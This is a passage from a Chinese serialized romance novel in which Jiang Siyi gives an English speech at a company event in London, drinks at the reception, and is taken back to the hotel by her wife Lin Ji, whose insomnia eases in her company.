负责交流会人员统筹的同事跟姜司意不是很熟。 两人就前天在视频对接过。 对方在伦敦常驻两年了,是个说话声音很好听的年轻女孩。 同事在电话里问:【那你住在哪里?最好留个地址,有什么事也知道上哪儿找你。毕竟咱们人在国外,安全第一。】 姜司意:【我和我老婆住在一起,一会儿我把酒店地址发给你。】 说起“老婆”这个称呼,姜司意下意识往卧室的方向看。 又偷偷说了一次。 同事明显有点惊讶,“哇”了一声:【小姜,你结婚了啊?】 【嗯,今年刚刚结的。】 【恭喜恭喜,新婚快乐呀。小姜,你才二十五岁吧?这么年轻就结婚了,肯定是遇到非常喜欢的人啦——】 以前的姜司意很少和别人谈起自己的私事,是不愉快,不确定。 如今的心情却不一样。 也是话赶话正好聊到,对方还是不常见面的人,有种掩饰感,反而能说出口。 非常喜欢的人…… 她垂着脑袋笑着,酒窝若隐若现。 轻轻地“嗯”了一声。 …… 挂了电话,管家刚好送来食物。 与此同时樊青也出现在门口,没有贸然进来,敲了敲敞开的门。 “BOSS应该睡了吧。” 毕竟从昨晚起,樊青就没有收到她任何的回复信息。 姜司意撕开餐包,蘸了些橄榄油醋汁,目光看向手机屏幕。 “至少睡了十四个小时了。” 十四个小时。 樊青在心里倒抽一口气。 立刻把这个喜讯转告给林雪泊。 此时,国内华灯初上。 女儿和媳妇都不在国内,林雪泊空虚得很,和乔槿一起去酒会上消遣消遣。 女儿一出国林雪泊就担忧,生怕她失眠,弄得自己也睡不好。 要不是手里也有企业要经营,还怕女儿嫌她跟得太紧,林雪泊真恨不得小佑去哪儿她就跟到哪儿。 听说姜司意也去伦敦了,还是从乔槿这头听说的,林雪泊忽然觉得有了依靠,跟乔槿说: “司意这孩子看上去那么内向,工作也那么忙,居然一声不吭飞伦敦了。希望小佑见到老婆能睡个好觉。” 正说着,樊青的微信发过来。 林雪泊一看,震惊。 “小佑睡了十四个小时……” 乔槿:“那不是很好么?” 林雪泊:“上次她睡得这么久,还是在我肚子里的时候。” 乔槿:…… 不远处,林云汀和朋友也来了酒会。 看到大姐的身影,犹豫着要不要过来打个招呼。 上次幻维五周年庆宴会上,林云汀被大姐好一顿数落,之后给她发微信也没有回。 林云汀一直在想如何修补姐妹关系,正好看到大姐了,想去说说话,又怕被嫌恶,踌躇未决,缓步往她们身后走来。 正好听到林雪泊开心地感慨道:“司意真是我们家的小福星啊。” 听到姜司意的名字,林云汀的脚步骤然停下。 “你也知道,这些年我为了治疗小佑的失眠,投资了多少医疗研究机构,耗费了多少精力,收效甚微。结果呢,司意陪在她身边就能睡到十四个小时。十四个小时啊,比给我十四个亿都让我开心。” 乔槿:“那也是司意愿意飞这么大老远去陪她。” 林雪泊笑得眼睛里有一汪晶亮。 “是啊是啊,所以我说司意太难得了。” 看侍应托盘里是老友最喜欢的酒,乔槿帮她拿一杯来,递给她。 林雪泊抿着酒,继续开心道:“要不是失眠一直困扰着她,精力不济,小佑的成就不止眼下。如果以后司意在她身边,每天都能睡好,她会继续往上走,会有新的巅峰的。” 顿了顿,感慨道:“其实什么巅峰不巅峰也不重要,只要她健健康康的,我就知足了。” 乔槿和她碰碰酒杯,“会的,这不小福星回来了,一切都好起来了。” 林雪泊开心地和乔槿“cheers”。 清脆的碰杯声落入不远处面如死灰的林云汀耳朵里,刺得让她脑子里“咯啦”一声,神经不受控制突突地跳。 这就是她想要的托底。 想要的姜司意托住宋缇的人生,不让她往下掉。 结果,随着婚约的转移,现在全都转到大姐家去了。 姜司意不仅托住了林棘,还在带着她向好。 林云汀懊恼地想,林棘成就已经那么高了,还要再往什么巅峰去? 反观宋缇,倒是和那个叫谭雅的女人分手了。 转头就养了个小明星在家里。 之前宋立名一直在她耳边半威胁半念叨,说Stella再不去公司,就再也别去了。 林云汀实在很烦。 你威胁我有什么用,这个女儿你没份的吗? 烦归烦,还是惦记宋缇。 去她家找她,想的是母女俩能好好谈谈心。 却看到宋缇和一个陌生的年轻女孩打得火热。 林云汀都还没开口,又来一个中年女人,进屋就去抓那女孩。 还以为又是什么狗血三角恋,结果中年女人说自己是女孩的“经纪人”,说公司花钱喂她资源,不是让她来谈恋爱的。 林云汀无言以对,看宋缇坐在沙发上事不关己般一言不发,那毫无担当的样子只觉得糟心。 更糟心的是,林云汀发现那小明星长得和姜司意有几分相似。 还念念不忘呢。 人家都结婚了,还惦记。 之前干嘛去了? 等经纪人和那小明星暂时离开,林云汀指着宋缇说: “别让你大姨一家看到她,不然怎么看我们?你怎么成天就想着这些事,多大人了能不能有点出息?难怪姜司意选你表姐不选你!” 宋缇一下子站起来,头也不回去卧室了,把门摔得震天响。 那天之后林云汀也没再管宋缇。 管不起。 听管家明姐说,小明星又住回来了,两人时常待在家里一整天不出门,就让人送吃的,不知道在做什么。 能做什么?林云汀用膝盖想都知道。 宋缇在一步步堕落,而林棘的顽疾却在好转。 林云汀失魂落魄地离开酒会,凝视着半颗星都瞧不见的夜空,不禁想—— 如果当初对姜司意好一点,如果女儿还和姜司意在一起,就算是装出来的懂事,也比现在一团烂泥来得强啊…… 强上百倍…… 姜司意让樊青和她一起早餐,樊青婉拒: “我已经吃过了。” “这么早就吃过了?” “嗯,我明天早上晨练后就会把早餐吃完。” 樊青说她五点就起床了,雷打不动做一个小时无氧,再跑五公里,运动完之后会吃快碳补充,从不耽误。 姜司意想起周霓的身手,估计两人相差无几,而樊青身高更高,感觉一个人能扭送三个姜骆去警局。 樊青时不时看看手表,姜司意问她:“有工作吗?” “嗯,今天计划是要和政府部门代表见面。”樊青有点苦恼地说,“如果BOSS再不起床,恐怕要来不及了。其他人的见面可以推迟或改约,但这次来的目的就是为了说服那帮人,不太好改时间……” 姜司意眨眨眼,“十四个小时应该也睡饱了。再睡下去晚上就该睡不着了。” 话都说到这份上,樊青依旧站在原地,没有进去叫林棘起床。 迎着姜司意带着疑问的眼神,樊青说: “BOSS有点起床气。可以理解的,毕竟她长期睡眠不好。她不会骂人也不会做什么,就是气压有点低。BOSS那张脸你知道,什么都不用做,扳起来就很吓人了。” 姜司意脑海里浮现的全都是林棘对她笑的样子。 有时候还会有点委屈,让人心疼的模样。 怎么会吓人。 被林棘蛊惑到晕头转向的姜司意,已经忘记不久前的自己有多怕她。 “而且……” 樊青补充说明最重要的部分。 “如果姜小姐去叫她起床,她睁眼第一时间看到你,一整天的心情都会非常好。” 被樊青说得脸有些热,姜司意将信将疑道: “……真的么?” “当然是真的。所以,为了BOSS一天的好心情,麻烦姜小姐了。” 嗒嗒嗒—— 慢慢走回卧室。 看林棘稍微变了姿势,向姜司意之前睡的方向侧过身。 手向前伸,虚握着,似乎想抓什么。 姜司意趴到她身边,将食指点在她虚握的拳头缝隙里,轻轻往里面探了探。 好。 早间份的偷偷牵手完成。 姜司意正想低声唤醒她,抬眸时,发现她睡衣的领口因为侧睡的动作,折出了一个低低的空间。 心口上有个小图案? 忽然想起,先前在那家融合菜餐厅,林棘指着自己的左心口说,她那儿也有个文身。 所以,是文身? 只看到一半的图案,隐约有两个角。 另一半被衣服挡住了。 很好奇,姜司意偷偷看林棘一眼,还没醒。 小心地用指尖勾住领口,看到了文身的全貌。 姜司意:? 和想象的完全不一样。 不是非常酷,或者非常有设计感的文身。 而是可爱的,线条非常简单的小兔子简笔卡通画。 甚至……有点幼稚。 和林棘的气质差距也太大了吧? 【作者有话说】 林棘:今天又是被老婆宠的一天[垂耳兔头][垂耳兔头] 53 第53章 ◎怎么会,我是有老婆的人。◎ 姜司意看着小兔子简笔卡通愣神。 和本身气质大相径庭的文身文在心口,正对的心脏的位置。 肯定是有特殊的含义,对她而言非常重要的吧。 是她以前养的宠物吗?一只可可爱爱的小兔子。 还是,跟某个人相关? 完全没有听她提到过这些事…… 说起来,这只傻傻的兔头,为什么会有一点点眼熟? 姜司意正在思索着是不是曾经在哪里见到过类似的图案。 林棘动了动,似乎要醒了。 胸口的位置太低,姜司意还趴在这么近的地方欣赏,什么人呐。 迅速挺身坐起,挺得笔直。 以至于林棘在醒来的第一时间,看到正在床上“打坐”的姜司意,朦胧的睡眼中带起了疑惑。 姜司意摆出正人君子的笑意,“我是来叫你起床的。” 林棘看手机,都这个点钟了。 自己居然能睡十多个小时。 昨晚怎么睡着的,已经不记得了。 最后的记忆停留在姜司意对她说—— 试着睡一下。 然后她就真的睡着了。 一睡睡到天亮,没有惊醒也没有梦。 这两日快要到极限的疲倦一扫而空,混沌的大脑澄清而灵敏。 精力蓄满的感觉很好,只是这会儿时间有点晚了。 林棘坐起时,睡裙的肩带顺着动作滑落至上臂。 只能被遮盖一半的莹白丰腴呼之欲出。 原本穿着睡裙的林棘已经让姜司意视线闪闪躲躲,这下更是心口一缩,立刻把视线转移开。 糟糕,正人君子的脸一定很红。 林棘一边下床一边把肩带勾回去,路过姜司意的时候,轻轻拍了拍她的脑袋。 姜司意:…… 现在连耳朵也被弄红了…… 之后的几日两人各有各忙,林棘与团队要和当地政府会面,姜司意则去交流会签到。 签到的时候,姜司意终于和那位说话语速极快的女同事见上面了。 女同事姓丘名叶然,看到姜司意的时候眼睛发亮。 “小姜,你比视频里还漂亮哎!” 被当面这么直接地夸赞,姜司意有点不好意思地说“谢谢”。 丘叶然像老朋友一样拉着姜司意去签到。 签完后跟她说这几天的流程。 交流会之后的酒会,其实就是一场社交沙龙。 嘉仕比集团的各大董事、股东和高层都会现身。 听到这句话,社畜唯一的感觉就是头皮发麻。 在高层眼里,和员工们一起喝喝酒,聊聊天,是促进关系的完美互动,也是非正式战略对齐,隐性文化基因渗透。 对于普通底层打工人而言,特别是内向i人而言,要全程挂上假笑,化身演员。 说不是强制出席,社会人都明白,谁要是真的不到场,是会被默默记录在案的。 丘叶然最喜欢漂亮的女孩子,舍不得漂亮女孩受一点委屈,立刻给姜司意传授经验。 “来酒会之前最好吃饱肚子,酒会的食物真的很难吃。难吃还容易胖。各种土豆,各种炸物,各种口感糟糕还不入味的牛羊肉,甜品还死甜。天知道为什么我来这儿两年味觉退化,还胖了二十斤。不好意思,一不小心就开始抱怨。总之,不要对酒会上的食物抱有任何的期望。” 姜司意认真点头。 “对了,还有一点,环球CEO燕总你知道吧?她也会出席。” 丘叶然眨巴着“你懂的”的眼神。 燕总的名号姜司意听过。 先前和吴经理吃饭的时候,姜司意听她说起,周彦林的司机来捣乱的那场拍卖会,环球CEO燕总就在楼上看着她的表现。 幸好她临危不乱,解决了现场的问题。 吴经理说:“事后顾总还点我,说你知不知道刚才小姜就在燕总眼皮底下,你还让燕总聚焦她。要是小姜表现得不好的话,以燕总那眼睛里容不得一点沙的个性,小姜以后就别想上主拍台了。当时我对顾总说‘那还不是因为我了解小姜的实力’,其实心里慌得一批,吓死,我差点断送你的职业生涯。” 原来还有这样的事。 姜司意后知后觉紧张了半分钟。 与此同时记下了这个“燕总”。 丘叶然只说一半,姜司意也明白话里的意思。 为了职业安全着想,离燕总远一点。 签到之后,丘叶然把工作人员的证件给姜司意,这几日详细的流程和时间发到姜司意的工作邮箱。 姜司意看完流程,无语半晌。 知道交流会无聊又有压力,没想到这压力比想象中的还大。 要在能容纳1000人的大型礼堂中,当着整个集团的高层和同事们的面,用英语进行演讲。 还要现场回答大家提出的问题,进行“能增进地区之间互相了解,有效且富有趣味的互动”。 两眼一黑。 到底是谁说这交流会无聊的? 明明刺激得让人头皮发麻。 也就是说,在酒会这场i人地狱之前,还有一场更大规模的i人地狱。 i人连环地狱,估计连e人都受不太了。 难怪没人想来…… 这两晚姜司意都在准备演讲稿。 作为优秀的拍卖师,会面对很多突发状况,控场能力是最为重要的,更何况只是个演讲和交流。 道理都懂,虽然但是,高层都在。 那位严苛到会因为一点小事把人开除的燕总也会到场。 要是演讲得磕磕巴巴或是不得体的话,给J城嘉仕比丢脸事小,会不会直接被燕总除名也未可知。 姜司意揉揉发痛的脑袋。 倒是不后悔来伦敦,林棘这几天休息得很好,让她再来十回她都愿意。 只是……得提起精神好好准备…… 出差这么多次,林棘第一次遇见雾都明媚到耀眼的晴天。 朦胧诗般的细雨消失不见。 阳光,以及饱满的精神,让林棘情绪维持在晴朗的区间。 有姜司意陪伴,这几夜她都睡得很安稳。 有时候六小时,有时候能睡满七小时。 即便政府部门早就计划好了如何从她的口袋里榨取更多的钱,状态满分的她也能应对自如。 夜里十点,林棘回到酒店时,姜司意正缩在沙发上,小声地念英语演讲稿。 她穿着长长的睡裙,穿着奶咖色袜子的双脚踩着沙发面,脚尖对在一起,下巴搁在膝盖上,在脑后扎了个丸子头,整个人聚精会神看着手里的演讲稿,边看边念。 林棘一进屋,她立刻坐好,且把长裙的裙摆盖在腿上。 目光从包裹得严严实实的腿上,转移至姜司意的脸,林棘问: “要英语演讲?” 姜司意愁眉苦脸地“嗯”了一声。 “不是每天晚上睡觉之前有听英语新闻的习惯吗?英语演讲对你而言应该不难。” “但是,我没怎么当着太多人的面用英语演讲过。而且,集团高层都会出席。” “紧张?” 姜司意点点头。 “没想到,在拍卖会上报价引价如贯口的姜老师也会紧张。” 姜司意被她一声“姜老师”叫得脸红。 “当然会紧张……” 两根食指都要拧起来了,还找不到反驳的话。 林棘不舍得再欺负她。 “紧张很正常,我也会。” 这回轮到姜司意难以置信了。 “紧张,你吗?” “当然,我也是人。” “是第一次召开股东大会的时候吗?” 姜司意的问题让林棘的思绪有些飘。 紧张的时候其实有很多。 从国外暂时结束治疗回国的那年,想见姜司意,在学校里远远看到她时,紧张的心情至今难忘。 今年年初第二次回国,在寒风中打着电话,再次走向姜司意时,也是一样的紧张。 林棘顿了顿,只说:“公司上市第一次路演的时候。” “有什么不紧张的秘诀吗?” “没有。” “……” “紧张是人之常情,非要让自己不紧张反而违反人性。所以,那时我打算放任紧张的情绪,不做处理,只去努力做好我要做的事。告诉自己,就算搞砸了也没关系,人生又不会因为这次搞砸而结束。” 知道林棘也和她一样,也会紧张,再厉害的人都差不多。 姜司意心下的紧绷缓解了不少。 林棘:“能脱稿了吗?” 姜司意再点点头。 接过姜司意手里的演讲稿,林棘坐到两米之外的单人沙发上,右腿叠起。 “那我们现在来模拟一下现场气氛。” 抬眸看向姜司意。 “对着我演讲。” 林棘的气场实在吓人。 只是坐在那儿,姿态还很放松,单单丢过来一个无表情的眼色,都让姜司意感受到了浓浓的压力。 仿佛直面公司高层,不,直面嘉仕比的董事长。 姜司意一秒进入演讲状态。 演讲之后,林棘纠正了她两三个词的用法,其他完全没问题。 “语速正好,发音很标准。” “真的吗?” 姜司意专业是中国艺术史,也没有海外留学的背景,英语全靠学校教授以及毕业后的自学。 对于非专业的事,她不是很自信。 林棘凝视姜司意道:“你可以相信我的判断。你发音不仅准确,而且非常好听。再多点自信,你一定能控制全场,让所有人的眼睛无法从你身上移开。” 被夸得有点难为情,可林棘就是有这份让人信服的能量。 就好像她说的每个字都是真的。 即便现在不是,被她相信过,也会成真。 交流会当天。 姜司意镇定自若地完成了人生中第一次非母语的演讲。 之后又和交流的同事们谈笑风生。 得到了掌声,也到了不少会心一笑。 甚至连台下最让她忌惮的燕总,都对她投来淡淡的赞许眼神。 掌心里还有因紧张而生的汗,但她发现的确没有想象中的那么难。 和林棘说的一样,她掌控了全场。 松了口气。 她没让林棘,也没让自己失望。 这次交流会的任务,算是圆满完成了。 交流会结束,酒会就在隔壁的餐厅举行。 本来没打算喝酒,丘叶然从人群中走来,挽住她的胳膊,亲热道: “司意司意,刚才演讲得太有意思了,互动也超有魅力。BOSS们对你很有兴趣,难得的机会,走,速速去刷个脸。” 说着,往她手里递了杯酒…… 和政府部门周旋数日,终于各退一步,达成了和解。 幻维在林棘的亲力亲为下,再次度过了难关。 危机暂告一段落。 离开皇家码头区时,天色早已擦黑。 林棘看着手机里姜司意发给她的微信。 今晚她们交流会之后还有个酒会。 最早也要晚上十点才能回酒店了。 林棘的指腹在手机边缘愉悦地点了点。 某女士也有报备的意识了。 愉悦才冒了个头,注意力被微信里的两个字再次吸引。 酒会。 意思是,有酒,可能会喝酒? 姜司意一喝酒就很容易失去社交安全距离这件事,浮上心头。 偏偏不在她身边。 今天也是有派人暗中保护她的。 阿绛团队的人跟去了,顺便帮林棘拍摄姜司意演讲现场。 林棘交代的是,姜司意如果遇到突发事件,立刻联系她。 恐怕在百分之九十九的人眼里,参加酒会都不算突发事件。 林棘偏偏是那百分之一。 暗中保护姜司意的人生安全是一回事,正常社交、饮酒又是另一回事。 总不能在姜司意和同事碰杯的时候,突然出现一位黑脸保镖,拦住对方的酒杯说—— 抱歉,我们夫人说了,不让她跟别人喝酒。 这场面不仅诡异,还会让姜司意稳稳戴上“妻宝女”的头衔。 姜司意发来微信的时间,是一个小时前。 也就是说,酒会很可能开始一个小时了。 林棘闭了闭眼。 那肯定喝过酒了。 还心存一丝侥幸。 ,:【你喝酒了吗?】 五分钟后,姜司意回复了微信。 发来一张握着酒杯的照片。 酒杯里的酒已经见底,甚至不知道是第几杯。 更让林棘确信她没少饮酒的证据是,散装吐司女士在这张照片下面跟了两个字。 【嘿嘿。】 林棘:…… 嘿嘿。 非常简洁且具象化地阐述自己被酒精影响了。 在等待姜司意回复微信的这五分钟时间里,林棘已经从保镖那里得到了酒会的具体地址。 不用她说,樊青默默调转车头,向酒会的方向驶去…… 把酒杯放到酒塔边。 姜司意努力聚焦了一下手机屏幕。 工作关系,她的微信本来就很繁忙,最近公开了婚姻状态,再加上这次交流会,微信好友又增加了一大波。 短短的两分钟时间里,刚刚和她说过话的“,”又掉到下面去了。 这个“,”话很少,真的很容易掉下去。 不想她上面还有别人。 置顶。 姜司意手动给她置顶。 见“,”泛黄且抽象的直角头像一跃升至最顶端,姜司意开心地笑了一下。 与此同时,再一次被那个头像吸引。 这么说起来…… 点开头像的照片,姜司意又一次仔细端详。 怎么看都是一页信纸的边角。 是封信。 姜司意的心跳乱了两拍。 是某个人写给林棘的信。 加林棘微信好友是很多年以前的事了,印象里,林棘一直都是用这个昵称这个头像,没有变过。 一定是对她而言非常重要的人写的信吧…… 这么多年都没舍得换掉。 心口的文身,正对着心脏的文身,是不是也和那个人有关? 姜司意控制不住地想。 她那般冷情*的性格,也会对谁念念不忘到这种程度吗? …… “姜司意呢?” 不远处,人群中的燕总问丘叶然。 也喝了不少酒的丘叶然四下看了看,在一棵树下看见了姜司意。 “那呢。小姜怎么自己待在那?” 燕总望向姜司意的方向。 望见那道瘦削的、安静的,游离在喧嚣之外心事重重的背影。 …… 林棘到酒会大门口时,保镖已经为她要到了酒会的邀请码。 穿过敞开的铁门,嗅到燥热的夜风带来无数香水味和酒味混合在一起的复杂气息。 浮光掠影,声色犬马,皆无法在林棘的眸底停留。 视线一刻不停地在一张张西式的脸庞上跳跃。 直到找到了她。 非常有东方美的脸庞微红,姜司意正和一位风姿卓绝的成熟女人站在树下,不知说着什么。 和姜司意交谈的女人看上去四十出头,有常年高居上位的气度和魅力,看得出来是个不苟言笑的人,此刻眼里却带着几分欣赏的笑意,微偏着脑袋凝视姜司意,耐心听她说话。 姜司意脸庞上有被酒精影响的绯红,耳尖上也有一小片红晕。 感觉下一秒,两人的距离就会拉近。 林棘脚下不自觉快了几步,向姜司意的方向走去。 心中荡过无数得体,但能将她和别人隔开的话语和动作。 姜司意尚未发现林棘,意识到自己和燕总因为在说一些晋升相关的敏感话题,不由自主低声且靠近了不少。 不太适应和不熟悉的人距离太近,姜司意借着赶小飞虫的动作,很自然地往后退了一步。 距离瞬间又拉开了。 燕总完全没在意姜司意的后退,因为她的注意力也被远处一道向她走来的窈窕女人吸引去。 “很期待看到你继续的成长,登上更大的舞台。我想今年的秋拍,你会让J城嘉仕比有个亮眼的成绩。” 燕总很商务地和姜司意握了一下手,说, “我妻子来了,先走了。” 没想到燕总居然比她溜得还快。 姜司意跟了句“再见”,看燕总迎向她妻子。 一向不苟言笑的燕总看到妻子时,笑得眼角泛起几丝皱纹。 两人开心地拥了对方一下,几句话后,相当自然又眷恋地吻上对方的唇。 就像是分开了半晚没见到面,都格外想念。 喝得满脸通红的丘叶然从旁边走过来,用八卦的语气对姜司意说: “燕总和她老婆结婚十多年了,还恩爱得要命。呀,走路都要牵着手呢,好甜。行了,今晚不用吃甜点了。” 姜司意目光落在她俩携手离开的手上,微微出神。 丘叶然满场飞,跟姜司意说了两句话后又端着酒往另一边迎去。 姜司意收回神,思索着要不要也趁机离开。 一转头,和林棘对视。 “你,怎么来了?” 姜司意又惊又喜。 林棘看她水蜜桃般的脸蛋红得很不自然,漂亮的眼睛也些失焦,无奈地问她: “喝了几杯?” 原来是来管我的。 姜司意抿着嘴,不泄露喜悦,理直气壮地回答: “好几杯。” 林棘:。 还好几杯…… 林棘闭了闭眼,“姜老师是不知道自己喝了酒,就容易缩短和别人的社交距离吗?” 姜司意眼睛微圆,很确定地回答: “怎么会,我是有老婆的人。” 一句话,林棘无言以对。 也的确没有瞎说,就算喝了“好几杯”,刚才也有意识地和燕总保持了距离。 跟随了一路发闷的情绪,被姜司意的可爱和撩人驱散殆尽。 想直接抱住她,将她藏到没有任何人能发现的地方。 想吻她。 心动感在心内澎湃着,可周围都是姜司意的同事和领导,林棘知道她脸皮薄,不好太亲密,忍着触碰她的冲动,只问: “可以回去了?” “嗯,应该。” “走。” 林棘转身,姜司意落在她垂在身侧的手上。 就这样么? 林棘刚走一步,小拇指被勾住。 讶然间回眸。 “不牵我吗?” 姜司意还站在那儿,沾着些醉意的双眸湿漉漉的,像只被遗忘的小宠。 “感情好的妻妻,不是都会牵手吗?” 【作者有话说】 林棘:连续被老婆宠着[垂耳兔头][垂耳兔头] 54 第54章 ◎轻轻咬上一口◎ “感情好的妻妻,不是都会牵手吗?” 说完这句话,勾住林棘小指的同时,理智跟着一起回归。 意识到自己正在向林棘撒娇。 还是在大庭广众之下对她撒娇。 羞耻感姗姗来迟,已经晚了。 手被林棘握住,紧密到没有一丝缝隙,紧密到骨头都在暗暗发痛。 这份紧密感像极了林棘的吻。 不知缘由的浓烈,让人喘不上气。 就像闷在漫长的时间跨度之下无声无息的燥热,忽然有了宣泄的出口。 就这样和她一起穿行于蜿蜒的星河下。 破开温凉的、薄绸质感的夜风,将一株株颜色缤纷、修剪精致的棒棒糖绣球抛至身后。 惊叹于今夜的自己。 借着酒劲都敢使唤林棘了。 说要牵手,林棘就真的一直牵着她。 坐进了车里还十指相扣,没有松开。 没有在亲朋好友面前表演的需求,林棘还是满足了她。 似从时光中偷来一点愉悦。 就像她们真的拥有着彼此。 因为饮酒而产生的晕眩感,让今夜的不真实性持续上升着。 车内干燥凉爽,是姜司意熟悉的香。 林棘的指腹微微从她指骨面上蹭过,引起一丝细微的痒意。 是抚摸珍爱之物的手法,舒服得姜司意眼神有些迷离。 安静又舒适的环境里,酒精在作祟。 想要继续享受这欢悦的一夜,姜司意的大脑却无法挣脱睡意的控制。 慢慢睡着了。 伦敦的用车是三座连排。 睡着的姜司意慢慢向林棘倾斜。 林棘看她靠过来,挺直上身。 让她靠到肩膀时高度正正好,脖子不会歪斜到不舒服的角度。 察觉到车后的安静,樊青看向后视镜。 “睡着了。” 林棘用轻微的气音说出这三个字。 樊青慢慢把车速降了些,平稳地开到酒店。 夜里十一点,车泊在酒店地下停车场内。 姜司意还没醒。 也没叫她,林棘把她脑袋扶到靠枕上,下车,再将她稳稳抱出来。 林棘对樊青说:“麻烦你帮我按电梯。” 锁好车的樊青已经走进电梯间,按下电梯按键,刷好卡。 身为年薪百万的优秀助理,樊青知道这时候不该问一个问题,却也不能不问。 思索片刻,职责所在,她还是决定问。 反正BOSS会一秒拒绝她。 “BOSS,需要我来吗?” 需要她来抱姜小姐吗? 在当任BOSS助理的这两年时间,樊青亲眼目睹林棘泡在健身房中的高频率。 BOSS曾经在无意间提过,心理状态如果无法马上康复,起码先拥有健康的体魄。 每周三次的力量训练之外,还沉浸于羽毛球、网球等各种挥拍类运动。 当时觉得BOSS似乎在准备什么,却又奇怪的并不抱希望。 现在都明白了。 BOSS的体质毋庸置疑,可横抱着一位睡着的成年女性这么长时间,还是会累的。 而且,需要坐一层电梯。 林棘:“谢谢,不需要。” 都没用一秒。 樊青笑道:“好的。” 进入轿厢,林棘闭上眼睛,努力忽略着身处狭窄空间时的压迫感。 要克服。 和姜司意结婚之后的林棘,比任何时候都想让自己生命里被烫出的缺口愈合。 这样才能给姜司意完美无缺的后半生。 一层楼的时间很短暂,林棘屏息,全程稳稳地抱着怀中人。 电梯门开,呼吸恢复,视野再次开阔。 略松一口气。 没问题。 有姜司意在怀,好像对密闭空间的注意力也转移了。 电梯门敞开,她们往外走,迎面进来两个人。 带来一股清晰的酒味。 林棘抱着姜司意和对方擦肩而过,电梯门还没关严实,这两人就吻得啧啧作响,不知天地为何物。 门是闭合了,也没能完全掩盖轿厢里夸张的声响。 怀里人眼睫闪动了一下,很快恢复平静,就像什么都没发生。 林棘的目光淡淡落到姜司意脸庞上。 所以是醒了,在装睡么? 姜司意的确在三分钟前,被林棘从车上抱下来时就醒了。 本来想睁眼,发现林棘居然完全没叫醒自己,要把她抱回酒店房间。 知道林棘有健身的习惯,家里的健身房时常有进去的。 先前搂着腰,带她过水坑。 以及……接吻的时候也抱起过她。 知道林棘力气不小,竟比想象的还要大。 能这样轻松横抱,行走自如。 双脚悬空,像抱小狗狗一样被人抱着的感觉很陌生。 但距离她好近。 整个人被拥入怀里,沾满了她的气息。 要是这时候醒过来,林棘就没有继续抱她的理由了吧…… 不想就这样离开让人眷恋的温软之地。 好像,记忆之中有过类似的场景。 和林棘在很多很多年前,是不是也有相似的接触? 迟钝的思绪缓慢运作着,暂时想不起具体的事件。 即便有耍赖的嫌疑,姜司意也没睁眼,想在林棘的怀中多赖一会儿。 直到听到刚才让人脸红的声响,思绪不由自主地摇摆,险些暴露已经醒来的状态。 不知道是不是林棘的气场太强烈,隔着闭合的眼皮,也能感受到移下来的目光。 林棘在观察她。 糟了,是不是暴露了。 心绪摇摆之下,眼睫险些再次不自然地眨动。 以为闭上眼就能装睡装得天衣无缝的姜司意,忽略了一点。 横抱的姿势让两人身体相贴,距离无比之近。 心跳的变化,也能更轻易被察觉。 都不用看她眼皮的变化,单是那轰隆隆的心跳,也早就出卖了情绪。 林棘将目光缓缓从姜司意太过平静的“睡脸”上收回。 不禁担忧,心跳会不会跳得太快了一点? 这动静持续发展下去,林棘想给她继续假装的机会,恐怕她自己都不好意思装下去了。 与此同时眉眼也沾了些笑意。 耍个小赖怎么还心跳加速,这么可爱。 …… 帮BOSS刷了房卡,看她们进去,再合上房门,樊青功成身退。 这几天林棘和政府部门周旋,樊青全程跟着,注意力高度集中,也挺累。 算是暂时下班了。 樊青回到楼上自己的房间,洗个澡点了杯酒和晚餐,随意吃吃。 这两年跟着林棘飞过不少地方,在樊青看来不同国家的各个城市叫着不同的名字,其实都差不多。 差不多的马路,差不多的高楼,差不多奔腾不息的车流。 和她贫瘠、泥泞的家乡完全不同。 差不多的陌生感。 每一座城市对她而言都是异乡,都是意兴阑珊暂时的落脚点。 靠在沙发上开着电视,随便播点什么,也不看,就听着声音无聊地刷手机。 点开微信,在成堆的工作信息里,发现乔槿在六小时之前回复了她。 乔:【交往过的最小的女朋友多大?我想想。】 乔:【比我小二十岁吧。】 在心里算了下。 也就是说,最小的女友也比二十七岁的樊青大三岁。 想回,不知道回什么。 这个点钟对面是清晨,发个无聊的“哦”回去,还扰人清梦。 算了,人家也未必有时间看小孩的回复。 把手机放到一旁,准备睡觉。 电视没关,声音调到最小,能听到细微人声的程度。 像小时候她住的那栋破房子,一楼,漏风,没有任何隔音可言,总是能在睡梦中听到屋外人来人往的声响,以及母亲的脚步。 这些细碎的声响,结成脆弱的网,编织成早已远去的故土,守护她的睡梦。 在她入睡的时候,并不知道在世界的另一头,J城的某平层内,乔槿睁开了眼睛。 清晨的冷光铺进卧室,乔槿拿起枕边的手机,看了眼,放下,阖上双目。 没有她想要的信息。 …… 房门关上,林棘把姜司意抱到床边。 弯腰,小心地放下。 收回手时,手掌不可避免地从姜司意的后背抚过。 隔着薄薄的夏装,能清晰感受到皮肤之下一节节的脊骨。 同居这些日子,每日都想方设法给她做好吃的,精心调配着营养的均衡。 分量是上来了些,也不过是重了一点点。 抱得轻而易举,还是瘦得厉害。 林棘心里想着还需继续努力,身下人被她这一抚,似电流穿行,身子控制不住地微微发颤。 难受地转了个身,心虚地背对着林棘。 苦行僧开了荤,食髓知味,身体变得非常敏感,联想也更丰富。 轻轻一碰就有点受不了了,浑身发烫。 翻过身去的姜司意睁开双眼,攥拳缩肩,只希望林棘去洗洗澡,休息一下。 不要发现她现在的状况。 身后人和她的默契感应忽然断线。 没有任何走动的声响。 只有单膝压在床面上的挤压声。 林棘躬身上前,越靠越近,右手撑在姜司意后颈的位置,降临在小翅膀的前方。 完全被林棘笼罩在身下。 姜司意速速闭上眼。 却听到耳边极近的位置传来一声轻笑。 从后探身的林棘,将姜司意握起来的拳头揉开。 一根根手指恢复到轻松的状态。 姜司意正在思索到底有没有发现她醒了,就听到身上人说: “不去洗澡吗?洗完回来再继续装睡。” 姜司意:。 往前蛄蛹,再往前蛄蛹。 全程背对着林棘。 到了床边立刻下床,头也不回直奔浴室。 洗完推门出来,在另一间浴室也完成沐浴的林棘正靠在浴室门口,翻着手里的书。 姜司意:“嗯?” 你怎么站在这里? 见姜司意脸庞只是有些微红,状态还行。 林棘合起书,“等你一起睡觉。” 不会是觉得我喝了酒再去洗澡,会晕在浴室里吧? 腹诽着“我哪有这么脆弱”,其实根本控制不住唇边的笑意。 昏倒在浴室不至于,今晚被丘叶然带去高层面前刷脸,也真是没少喝酒。 算是这几年来喝的最多的一次了。 躺到床上,很快又被睡意侵袭。 在昏昏沉沉进入到真正梦境之前,姜司意忽然想起来了。 被林棘抱的时候,为什么会有相似感。 很久以前,林棘曾经背过她。 她俩青春期的交集很少很少,少到姜司意之前开玩笑跟段凝说,她和林棘说话不超过十句。 